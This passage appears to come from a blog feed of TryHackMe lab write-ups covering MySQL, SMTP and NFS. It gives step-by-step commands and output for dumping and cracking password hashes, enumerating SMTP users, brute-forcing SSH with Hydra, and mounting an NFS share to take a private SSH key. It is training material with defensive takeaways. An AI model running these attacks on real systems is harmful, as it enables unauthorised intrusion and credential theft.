</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">21</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">22</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h3 id="cracking-the-hash">Cracking the Hash</h3>
<p>We can use John the Ripper, a popular password-cracking tool, to reverse-engineer the hash into its original ASCII format. John the Ripper works by taking the hashed password and comparing it against a large set of potential plaintext passwords, which are hashed in the same algorithm. If it finds a match, it reveals the original password.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nb">echo</span> carl:*EA031893AA21444B170FC2162A56978B8CEECE18 &gt; hash.txt
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~# john hash.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Proceeding with wordlist:/opt/john/password.lst
</span></span><span class="line"><span class="ln">5</span><span class="cl">Proceeding with incremental:ASCII
</span></span><span class="line"><span class="ln">6</span><span class="cl">doggie           <span class="o">(</span>carl<span class="o">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">1g 0:00:00:02 DONE 3/3 <span class="o">(</span>2024-10-06 02:57<span class="o">)</span> 0.4566g/s 1043Kp/s 1043Kc/s 1043KC/s doggie..doggia</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses John the Ripper in its default configuration, utilizing a built-in word list to attempt to crack the single password hash stored in the text file.&quot;</p>
      </div>
  </div><h3 id="accessing-the-mysql-server">Accessing the MySQL Server</h3>
<p>Having access to the username and password allows us to SSH directly into the server and gain access to its resources directly.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# ssh carl@10.10.244.95
</span></span><span class="line"><span class="ln">2</span><span class="cl">carl@10.10.244.95<span class="err">&#39;</span>s password: doggie
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-96-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">carl@polomysql:~$</span></span></code></pre></div>
<h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>Credential-Based Exploitation:</strong> Gaining access to MySQL using known credentials (like root with a weak password) can lead to control over the database and server, emphasizing the importance of strong, unique credentials and limiting root access.</p>
</li>
<li>
<p><strong>Metasploit Modules as Recon Tools:</strong> Metasploit&rsquo;s mysql_schemadump and mysql_hashdump modules are effective for looking into database structure and extracting sensitive data like password hashes.</p>
</li>
<li>
<p><strong>Importance of Salting:</strong> Salting passwords before hashing significantly strengthens security by making brute force and rainbow table attacks impractical, as each password hash becomes unique, removing the effectiveness of tools like John the Ripper. This highlights the importance of using salts in password storage to mitigate hash-cracking attacks.</p>
</li>
</ul>
]]></content:encoded></item><item><title>TryHackMe - SMTP</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="smtp-intrusion">SMTP Intrusion</h3>
<p>Simple Mail Transfer Protocol aka <strong>SMTP</strong> allows for the process by which mail clients send mail to each other. If we were to compare the email service to the postal delivery service, SMTP would be the courier, delivering mail from the post office to the recipient&rsquo;s address, except in this case every address is also its own post office. The courier tends to know important information about its sender so we&rsquo;ll be trying to get as much information out of it as we can. Thankfully the SMTP service is very receptive to questions so we will be able to <strong>pry valuable insights from it</strong> in order to compromise its server.</p>
<h4 id="identifying-the-smtp-service">Identifying the SMTP Service</h4>
<p>The first step of identifying possible attack vectors is running a network <strong>Nmap</strong> scan to see what ports are open on services that we know how to abuse. In this case we&rsquo;re looking for <strong>port 25</strong> exposing the SMTP service to the internet.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-190-97.eu-west-1.compute.internal <span class="o">(</span>10.10.190.97<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Host is up <span class="o">(</span>0.00070s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">PORT   STATE SERVICE
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">22/tcp open  ssh
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">25/tcp open  smtp
</span></span><span class="line"><span class="ln">10</span><span class="cl">MAC Address: 02:87:B2:A3:3F:17 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># Nmap done at Sun Oct  6 01:22:55 2024 -- 1 IP address (1 host up) scanned in 1.68 seconds</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.&quot;</p>
      </div>
  </div><h4 id="getting-the-smtp-server-metadata">Getting the SMTP server metadata</h4>
<p>Now that we&rsquo;ve identified a way in, we can use a pre made SMTP <strong>attack script</strong> to extract as much valuable metadata we can using the Metasploit smtp_version script. In this case we&rsquo;re able to extract the smtp server&rsquo;s domain name but not much else that&rsquo;s useful. We&rsquo;ll try a more <strong>aggressive</strong> script next.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/scanner/smtp/smtp_version
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.22.136
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/smtp/smtp_version<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">10</span><span class="cl">RHOSTS   10.10.22.136     yes       The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-me
</span></span><span class="line"><span class="ln">11</span><span class="cl">                                    tasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">12</span><span class="cl">RPORT    <span class="m">25</span>               yes       The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">THREADS  <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 SMTP <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span><span class="se">\x</span>0d<span class="se">\x</span>0a
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="finding-the-smtp-server-exposed-usernames">Finding the SMTP server exposed usernames</h4>
<p>We&rsquo;ll try to <strong>brute force</strong> our SMTP courier to get it to tell us who it expects us to be talking to. We&rsquo;ll keep asking it whether it recognizes the name we give it with a enumeration brute force attack and hopefully we&rsquo;ll get a match. In this case we were able to tell that the SMTP knows the user &ldquo;administrator&rdquo; which gives us valuable insight into a possible user on the system. It is especially exciting to confirm the existence of an administrator user because <strong>compromising their account can lead to unrestricted access to their entire server!</strong></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; use /auxiliary/scanner/smtp/smtp_enum
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.190.97
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Banner: <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Users found: administrator
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="running-hydra-to-brute-force-the-password">Running Hydra to Brute Force the password</h4>
<p>This isn&rsquo;t a very <em>nice</em> way to break into a system but we&rsquo;ll continue to use the brute force enumeration approach along with the username we found to try to log into the server via ssh. We&rsquo;ll use the hydra tool to enumerate different passwords until we get one that works.</p>
<p>Luckily there was a <strong>direct match</strong> and we found a password for the administrator user, if only it was always this simple 😊</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hydra -t <span class="m">16</span> -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.190.97 ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">[</span>22<span class="o">][</span>ssh<span class="o">]</span> host: 10.10.190.97   login: administrator   password: alejandro
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">[</span>STATUS<span class="o">]</span> attack finished <span class="k">for</span> 10.10.190.97 <span class="o">(</span>waiting <span class="k">for</span> children to <span class="nb">complete</span> tests<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="m">1</span> of <span class="m">1</span> target successfully completed, <span class="m">1</span> valid password found</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-t 16</strong> to spawn 16 threads to attempt logins on the specified username <strong>-l administrator</strong> using the filepath <strong>-P rockyou.txt</strong> for passwords on the server&rsquo;s <strong>IP</strong> via <strong>ssh</strong> in <strong>-vV</strong> very verbose mode.&quot; &gt;}}</p>
      </div>
  </div><h3 id="logging-into-the-server-with-credentials">Logging into the server with credentials</h3>
<p>Equipped with a username and password we can easily SSH into the server unless it has other protections in place.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh administrator@10.10.190.97
</span></span><span class="line"><span class="ln">2</span><span class="cl">administrator@10.10.190.97<span class="err">&#39;</span>s password: alejandro
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-111-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl">administrator@polosmtp:~$</span></span></code></pre></div>
]]></content:encoded></item><item><title>TryHackMe - NFS</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</link><pubDate>Sat, 12 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 THM Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 THM Network Services Room</a></p>
      </div>
  </div><h3 id="gaining-access-through-nfs">Gaining Access Through NFS</h3>
<h4 id="initial-reconnaissance">Initial Reconnaissance</h4>
<p>The first step to Network File System (NFS) exploitation is identifying an exposed NFS share on the target machine. A public NFS share might have insufficient access controls, allowing unauthorized mounting from a remote location. This gives us an initial vector to compromise the vulnerable server.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-71-105:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">PORT      STATE SERVICE  VERSION
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">111/tcp   open  rpcbind  2-4 <span class="o">(</span>RPC <span class="c1">#100000)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">2049/tcp  open  nfs_acl  <span class="m">3</span>   <span class="o">(</span>RPC <span class="c1">#100227)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">32969/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">33463/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">38233/tcp open  nlockmgr 1-4 <span class="o">(</span>RPC <span class="c1">#100021)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">43597/tcp open  mountd   1-3 <span class="o">(</span>RPC <span class="c1">#100005)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">MAC Address: 02:AE:30:CF:78:25 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">Read data files from: /usr/bin/../share/nmap
</span></span><span class="line"><span class="ln">17</span><span class="cl">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span class="line"><span class="ln">18</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 75.34 seconds
</span></span><span class="line"><span class="ln">19</span><span class="cl">        Raw packets sent: <span class="m">128591</span> <span class="o">(</span>5.658MB<span class="o">)</span> <span class="p">|</span> Rcvd: <span class="m">128591</span> <span class="o">(</span>5.144MB<span class="o">)</span></span></span></code></pre></div>
<h4 id="mounting-the-shared-drive">Mounting the Shared Drive</h4>
<p>Remotely mounting the server&rsquo;s NFS share from our attacker machine gains us access to the server&rsquo;s file system, with its directories and files accessible directly on our device. This allows us to explore the server&rsquo;s file system, exfiltrate files from the server onto our device and upload our files to the server. These actions will let us grab private information and load malicious files onto the server to further our attack.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# sudo mount -t nfs <span class="nv">$IP</span>:home /tmp/mount/ -nolock</span></span></code></pre></div>
<p><img src="mounting_nfs.png" alt="image"></p>
<h4 id="ssh-key-extraction">SSH Key Extraction</h4>
<p>Navigating to the .ssh directory of a remote user on the mounted NFS share we found the user&rsquo;s SSH private key, which should never be stored on the server itself and should be securely stored on a trusted user machine. Should the server be breached through a vulnerability, the attacker can create a persistent method of entry using the stored private key to pose as a trusted user on future login attempts.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-71-105:~# <span class="nb">cd</span> /tmp/mount/cappucino/.ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# cp id_rsa ~
</span></span><span class="line"><span class="ln">3</span><span class="cl">root@ip-10-10-71-105:/tmp/mount/cappucino/.ssh# <span class="nb">cd</span> ~
</span></span><span class="line"><span class="ln">4</span><span class="cl">root@ip-10-10-71-105:~# chmod <span class="m">600</span> id_rsa
